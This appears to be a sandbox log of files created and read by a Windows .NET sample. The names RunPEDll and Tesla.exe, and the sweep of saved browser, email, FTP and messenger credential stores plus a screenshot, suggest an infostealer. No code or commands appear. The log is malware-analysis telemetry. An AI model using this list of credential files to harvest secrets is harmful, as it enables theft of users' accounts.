C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
C:\Windows\System32\p2pcollab.dll
C:\Windows\System32\qagentrt.dll
C:\Windows\System32\dnsapi.dll
C:\Users\Seven01\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\*
C:\Users\Seven01\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\*
C:\Users\Seven01\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\*
C:\Users\Seven01\AppData\Local\Temp\CabAFA8.tmp
C:\Users\Seven01\AppData\Local\Temp\TarAFB9.tmp
C:\Users\Seven01\AppData\Local\Temp\
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Users\Seven01\AppData\LocalLow
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\Local\Temp\CabB027.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB028.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB049.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB04A.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB089.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB08A.tmp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll
C:\Windows\System32\l_intl.nls
C:\Users\Seven01\AppData\Local\Temp\CabB0D9.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB0DA.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB11A.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB11B.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB13B.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB13C.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB18B.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB18C.tmp
C:\Users\Seven01\AppData\Local\Temp\me.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\pubpol21.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI
C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI
C:\Windows\System32\tzres.dll
C:\Windows\Globalization\it-it.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\Globalization\en-us.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\Globalization\it.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.INI
C:\Users\Seven01\AppData\Local\Temp\it-IT\me.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\me.resources\me.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\me.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\me.resources\me.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\me.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\me.resources\me.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\me.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\me.resources\me.resources.exe
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\bcrypt.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic\8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll.exe
C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.exe
C:\Users\Seven01\AppData\Roaming
C:\Users\Seven01\AppData\Roaming\Tesla.exe
\Device\NamedPipe\
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2356.20444625
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2356.20444625
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2356.20444656
C:\Windows\System32\Branding\Basebrd\Basebrd.dll
C:\Windows\Branding\Basebrd\basebrd.dll
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Users\Seven01\AppData\Local\Temp\"C:\Users\Seven01\AppData\Roaming\Tesla.exe"
C:\Users\Seven01\AppData\Roaming\Tesla.exe.config
C:\Users\Seven01\AppData\Roaming\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Roaming\Tesla.exe.Local\
C:\Users\Seven01\AppData\Local\Temp\CabBA57.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBA58.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBAF5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBAF6.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBB45.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBB46.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBBD4.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBBD5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC24.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBC25.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC93.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBC94.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBCC4.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBCC5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBD43.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBD44.tmp
C:\Users\Seven01\AppData\Roaming\Tesla.INI
C:\Users\Seven01\AppData\Roaming\it-IT\mscorlib.resources.dll
C:\Users\Seven01\AppData\Roaming\it-IT\mscorlib.resources\mscorlib.resources.dll
C:\Users\Seven01\AppData\Roaming\it-IT\mscorlib.resources.exe
C:\Users\Seven01\AppData\Roaming\it-IT\mscorlib.resources\mscorlib.resources.exe
C:\Users\Seven01\AppData\Roaming\it-IT\me.resources.dll
C:\Users\Seven01\AppData\Roaming\it-IT\me.resources\me.resources.dll
C:\Users\Seven01\AppData\Roaming\it-IT\me.resources.exe
C:\Users\Seven01\AppData\Roaming\it-IT\me.resources\me.resources.exe
C:\Users\Seven01\AppData\Roaming\it\me.resources.dll
C:\Users\Seven01\AppData\Roaming\it\me.resources\me.resources.dll
C:\Users\Seven01\AppData\Roaming\it\me.resources.exe
C:\Users\Seven01\AppData\Roaming\it\me.resources\me.resources.exe
C:\Users\Seven01\AppData\Roaming\RunPEDll.dll
C:\Users\Seven01\AppData\Roaming\RunPEDll\RunPEDll.dll
C:\Users\Seven01\AppData\Roaming\RunPEDll.exe
C:\Users\Seven01\AppData\Roaming\RunPEDll\RunPEDll.exe
C:\Users\Seven01\AppData\Roaming\it-IT\stub.resources.dll
C:\Users\Seven01\AppData\Roaming\it-IT\stub.resources\stub.resources.dll
C:\Users\Seven01\AppData\Roaming\it-IT\stub.resources.exe
C:\Users\Seven01\AppData\Roaming\it-IT\stub.resources\stub.resources.exe
C:\Users\Seven01\AppData\Roaming\it\stub.resources.dll
C:\Users\Seven01\AppData\Roaming\it\stub.resources\stub.resources.dll
C:\Users\Seven01\AppData\Roaming\it\stub.resources.exe
C:\Users\Seven01\AppData\Roaming\it\stub.resources\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\Update.txt
C:\Windows\Microsoft.net\Framework\v2.0.50727
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch.2852.20447468
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch.2852.20447468
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch.2852.20447468
C:\Users\Seven01\AppData\Local\Temp\reg.*
C:\Users\Seven01\AppData\Local\Temp\reg
C:\ProgramData\Oracle\Java\javapath\reg.*
C:\ProgramData\Oracle\Java\javapath\reg
C:\Windows\System32\reg.*
C:\Windows\System32\reg.COM
C:\Windows\System32\reg.exe
C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe.config
C:\Windows\Microsoft.net\Framework\v2.0.50727\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe.Local\
C:\Windows\Microsoft.net\Framework\v2.0.50727\RegAsm.exe
C:\Windows\Microsoft.net
C:\Windows\Microsoft.net\Framework
\Device\KsecDD
C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.exe.Config
C:\Windows\Microsoft.net\Framework\v2.0.50727\regasm.INI
C:\Windows\System32\wbem\wbemdisp.tlb
C:\Windows\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\CustomMarshalers\bf7e7494e75e32979c7824a07570a8a9\CustomMarshalers.ni.dll
C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.INI
C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll
C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\oleaut32.DLL
C:\Windows\SysWOW64\stdole2.tlb
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\System.Management.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727\wminet_utils.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\oleaut32.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\mscorlib.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\mscorlib.resources\mscorlib.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\mscorlib.resources.exe
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\mscorlib.resources\mscorlib.resources.exe
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Configuration\2.0.0.0__b03f5f7f11d50a3a\System.Configuration.INI
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Xml\2.0.0.0__b77a5c561934e089\System.Xml.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll
C:\Windows\Globalization\en.nlp
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll
C:\Users\Seven01\AppData\Roaming\Foamex International Inc\
C:\Users\Seven01\AppData\Roaming\Foamex International Inc
C:\Users\Seven01\AppData\Roaming\Foamex International Inc\Foamex International Inc.exe
C:\Users\Seven01\AppData\Roaming\Foamex International Inc\Foamex International Inc.exe:Zone.Identifier
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.exe
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.exe
C:\Windows\Microsoft.net\Framework\v2.0.50727\it\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.exe
C:\Windows\Microsoft.net\Framework\v2.0.50727\it\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.exe
C:\Users\Seven01\AppData\Local\Temp\Txu.exe
C:\
D:\
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\shell32.dll
C:\Users\Seven01\AppData\Local\Google\Chrome\User Data\*
C:\Users\Seven01\AppData\Roaming\Mozilla\Firefox\profiles.ini
C:\Users\Seven01\AppData\Roaming\Mozilla\Firefox\logins.json
C:\Windows\assembly\GAC_32\Microsoft.VisualBasic.resources\8.0.0.0_it-IT_b03f5f7f11d50a3a
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it-IT_b03f5f7f11d50a3a
C:\Windows\assembly\GAC\Microsoft.VisualBasic.resources\8.0.0.0_it-IT_b03f5f7f11d50a3a
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\Microsoft.VisualBasic.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\Microsoft.VisualBasic.resources\Microsoft.VisualBasic.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\Microsoft.VisualBasic.resources.exe
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\Microsoft.VisualBasic.resources\Microsoft.VisualBasic.resources.exe
C:\Windows\assembly\GAC_32\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a\Microsoft.VisualBasic.resources.dll
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a\Microsoft.VisualBasic.resources.INI
C:\Users\Seven01\AppData\Roaming\Opera Software\Opera Stable\Login Data
C:\Users\Seven01\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
C:\Users\Seven01\AppData\Local\Temp\log.tmp
\??\MountPointManager
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\desktop.ini
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\desktop.ini
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\desktop.ini
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Security\d9a485330ec2708456134e4a9712a4ab\System.Security.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.INI
C:\Program Files (x86)\Common Files\Apple\Apple Application Support\plutil.exe
C:\Users\Seven01\AppData\Roaming\Mozilla\SeaMonkey\profiles.ini
C:\Users\Seven01\AppData\Roaming\Mozilla\SeaMonkey\logins.json
C:\Users\Seven01\AppData\Local\Comodo\Dragon\User Data\Default\Login Data
C:\Users\Seven01\AppData\Roaming\Flock\Browser\profiles.ini
C:\Program Files (x86)\Mozilla Firefox\nss3.dll
C:\Program Files (x86)\Postbox\nss3.dll
C:\Program Files (x86)\Mozilla Thunderbird\nss3.dll
C:\Program Files (x86)\SeaMonkey\nss3.dll
C:\Program Files (x86)\Flock\nss3.dll
C:\Users\Seven01\AppData\Roaming\Flock\Browser\signons3.txt
C:\Users\Seven01\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
C:\Users\Seven01\AppData\Local\Chromium\User Data\Default\Login Data
C:\Users\Seven01\AppData\Local\Torch\User Data\Default\Login Data
C:\Users\Seven01\AppData\Local\UCBrowser\*
C:\Users\Seven01\AppData\Roaming\Thunderbird\profiles.ini
C:\Users\Seven01\AppData\Roaming\Thunderbird\signons.sqlite
C:\Users\Seven01\AppData\Roaming\Thunderbird\logins.json
C:\Storage\*
C:\Users\Seven01\AppData\Roaming\Opera Mail\Opera Mail\wand.dat
C:\Users\Seven01\AppData\Roaming\Pocomail\accounts.ini
C:\Users\Seven01\AppData\Roaming\The Bat!
C:\Users\Seven01\AppData\Roaming\Postbox\profiles.ini
C:\Users\Seven01\AppData\Roaming\Postbox\signons.sqlite
C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml
C:\Users\Seven01\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini
C:\Users\Seven01\AppData\Roaming\CoreFTP\sites.idx
C:\Windows\SysWOW64\wshom.ocx
C:\ProgramData\DynDNS\Updater\config.dyndns
C:\Users\All Users\AppData\Roaming\FlashFXP\3quick.dat
C:\Users\Seven01\AppData\Roaming\.purple\accounts.xml
C:\Users\Seven01\AppData\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml
C:\Users\Seven01\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
C:\Users\Seven01\AppData\Local\Temp\Ftplist.txt
C:\Program Files (x86)\jDownloader\config\database.script
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Gdiplus.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Users\Seven01\AppData\Roaming\ScreenShot
C:\Users\Seven01\AppData\Roaming\ScreenShot\screen.jpeg
C:\Windows\assembly\GAC_32\System.Drawing.resources\2.0.0.0_it-IT_b03f5f7f11d50a3a
C:\Windows\assembly\GAC_MSIL\System.Drawing.resources\2.0.0.0_it-IT_b03f5f7f11d50a3a
C:\Windows\assembly\GAC\System.Drawing.resources\2.0.0.0_it-IT_b03f5f7f11d50a3a
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\System.Drawing.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\System.Drawing.resources\System.Drawing.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\System.Drawing.resources.exe
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\System.Drawing.resources\System.Drawing.resources.exe
C:\Windows\assembly\GAC_32\System.Drawing.resources\2.0.0.0_it_b03f5f7f11d50a3a
C:\Windows\assembly\GAC_MSIL\System.Drawing.resources\2.0.0.0_it_b03f5f7f11d50a3a
C:\Windows\assembly\GAC_MSIL\System.Drawing.resources\2.0.0.0_it_b03f5f7f11d50a3a\System.Drawing.resources.dll
C:\Windows\assembly\GAC_MSIL\System.Drawing.resources\2.0.0.0_it_b03f5f7f11d50a3a\System.Drawing.resources.INI
C:\Windows\assembly\GAC_32\System.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\System.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\System.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\System.resources\System.resources.dll
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\System.resources.exe
C:\Windows\Microsoft.net\Framework\v2.0.50727\it-IT\System.resources\System.resources.exe
C:\Windows\assembly\GAC_32\System.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089\System.resources.dll
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089\System.resources.INI
C:\Windows\sysnative\wbem\WmiPrvSE.exe
C:\Windows\inf\hdaudio.inf
C:\Windows\sysnative\DriverStore\it-IT\hdaudio.inf_loc
C:\Windows\inf\hdaudio.PNF
\??\PIPE\samr
C:\Windows\sysnative\wbem\repository
C:\Windows\sysnative\wbem\Logs
C:\Windows\sysnative\wbem\AutoRecover
C:\Windows\sysnative\wbem\MOF
C:\Windows\sysnative\wbem\repository\INDEX.BTR
C:\Windows\sysnative\wbem\repository\WRITABLE.TST
C:\Windows\sysnative\wbem\repository\MAPPING1.MAP
C:\Windows\sysnative\wbem\repository\MAPPING2.MAP
C:\Windows\sysnative\wbem\repository\MAPPING3.MAP
C:\Windows\sysnative\wbem\repository\OBJECTS.DATA
C:\Windows\sysnative\wbem\repository\WBEM9xUpgd.dat
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
\??\WMIDataDevice
C:\Users\Seven01\AppData\Local\Temp\Txu.exe.config
C:\Users\Seven01\AppData\Local\Temp\Txu.exe.Local\
C:\Users\Seven01\AppData\Local\Temp\Txu.config
C:\Users\Seven01\AppData\Local\Temp\Txu.INI

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\me.exe.config
C:\Users\Seven01\AppData\Local\Temp\me.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsec.dll
C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
C:\Users\Seven01\AppData\Local\Temp\CabAFA8.tmp
C:\Users\Seven01\AppData\Local\Temp\TarAFB9.tmp
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\Local\Temp\CabB027.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB028.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB049.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB04A.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB089.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB08A.tmp
C:\Windows\System32\l_intl.nls
C:\Users\Seven01\AppData\Local\Temp\CabB0D9.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB0DA.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB11A.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB11B.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB13B.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB13C.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB18B.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB18C.tmp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\pubpol21.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\System32\tzres.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
